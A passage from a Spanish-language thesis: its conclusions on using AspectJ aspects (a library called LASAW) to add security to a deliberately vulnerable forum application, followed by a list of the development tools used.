(funcionalidad primaria), que se logra implementando la funcionalidad principal o lógica de 
negocios mediante clases, y la operacional (funcionalidad secundaria) que se obtiene 
implementando, mediante aspectos, la funcionalidad transversal o crosscutting functionality. La 
funcionalidad primaria de la aplicación permanece completamente independiente a la 
funcionalidad secundaria, de manera que puede compilarse y probarse de manera aislada.  En 
nuestro caso, el Foro Vulnerable es funcionalmente independiente de su lógica de seguridad. 
Finalmente, los aspectos de seguridad se integran sencillamente al resto de la funcionalidad, 
mediante el proceso de aspect weaving, obteniendo así una aplicación segura.   

Al generar nuestra librería de aspectos LASAW y al ser aplicada con éxito sobre nuestra 
aplicación objetivo Foro Vulnerable, logramos demostrar la efectividad del uso de aspectos para 
tratar la seguridad de aplicaciones web.  

Como pudimos comprobar, resulta muy sencilla la integración de una librería de aspectos a un 
proyecto Eclipse gracias a la madurez del plugin AJDT(AspectJ Development Tools). Además, 
nuestra experiencia durante el desarrollo de LASAW nos indica que este último es fácilmente 
instalable y casi no requiere configuración. Podemos destacar también lo amigable que resulta ser 
su interfaz para el programador. 

 Al ser AspectJ una extensión del lenguaje Java, conserva sus bases sintácticas y por lo tanto  
no debería resultar difícil su asimilación y aprendizaje por parte de programadores familiarizados 
con Java. 

Basándonos en los  conceptos de pointcuts y aspectos abstractos provistos por AspectJ, 
logramos generalizar la librería LASAW.  Con esta generalización se podría extender la librería 
para tratar nuevas vulnerabilidades o para incorporar diferentes implementaciones a las soluciones 
ya provistas. Logramos además que nuestra librería no sirva sólo para ser incorporada a 
aplicaciones web basadas en el framework MVC Struts 2, sino que pueda ser instanciada para ser 
aplicada en diversas arquitecturas. 

POA no constituye un reemplazo a las tecnologías de intercepción ya existentes en J2EE, como 
lo son los Servlet Filtros, sino que viene a generalizar el concepto de intercepción a distintas 
aplicaciones en diversos entornos, no necesariamente web. Los filtros trabajan a nivel de 
requerimientos y respuestas web, mientras que los aspectos permiten trabajar con otro nivel de 
granularidad y en diversas capas de la aplicación. 
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Herramientas utilizadas durante el desarrollo de la tesis 
 
 

� Tomcat 5.5.20 y Tomcat 6.0.14 http://tomcat.apache.org/ 
 

� JDKs: Java2 SDK SE 1.4.2_12 y  Java SE 1.6.0_04  
http://java.sun.com/javase/downloads/index.jsp 

 
� Eclipse 3.2 y Eclipse 3.3 http://www.eclipse.org/ 

 
� PostgreSQL 8.2 - http://www.postgresql.org/ 
 
� pgAdmin 1.6.2 (postgreSql tool) - http://www.pgadmin.org/ 

 
� Sysdeo tomcat plugin  http://www.eclipseplugincentral.com/Web_Links-index-req-

viewlink-cid-120.html 
 

� AspectJ Development Tools 1.4 (AJDT 1.4 para eclipse 3.2) 
 
� AspectJ Development Tools 1.5 (AJDT 1.5 para eclipse 3.3) 

 
� http://www.eclipse.org/ajdt/downloads/ 

 
� Cvsdude http://www.cvsdude.com/ 

 
� Struts2  http://struts.apache.org/2.x/ 

 
� OWASP Stinger Project 

http://www.owasp.org/index.php/Category:OWASP_Stinger_Project 
 

� mvnForum http://www.mvnforum.com/ 
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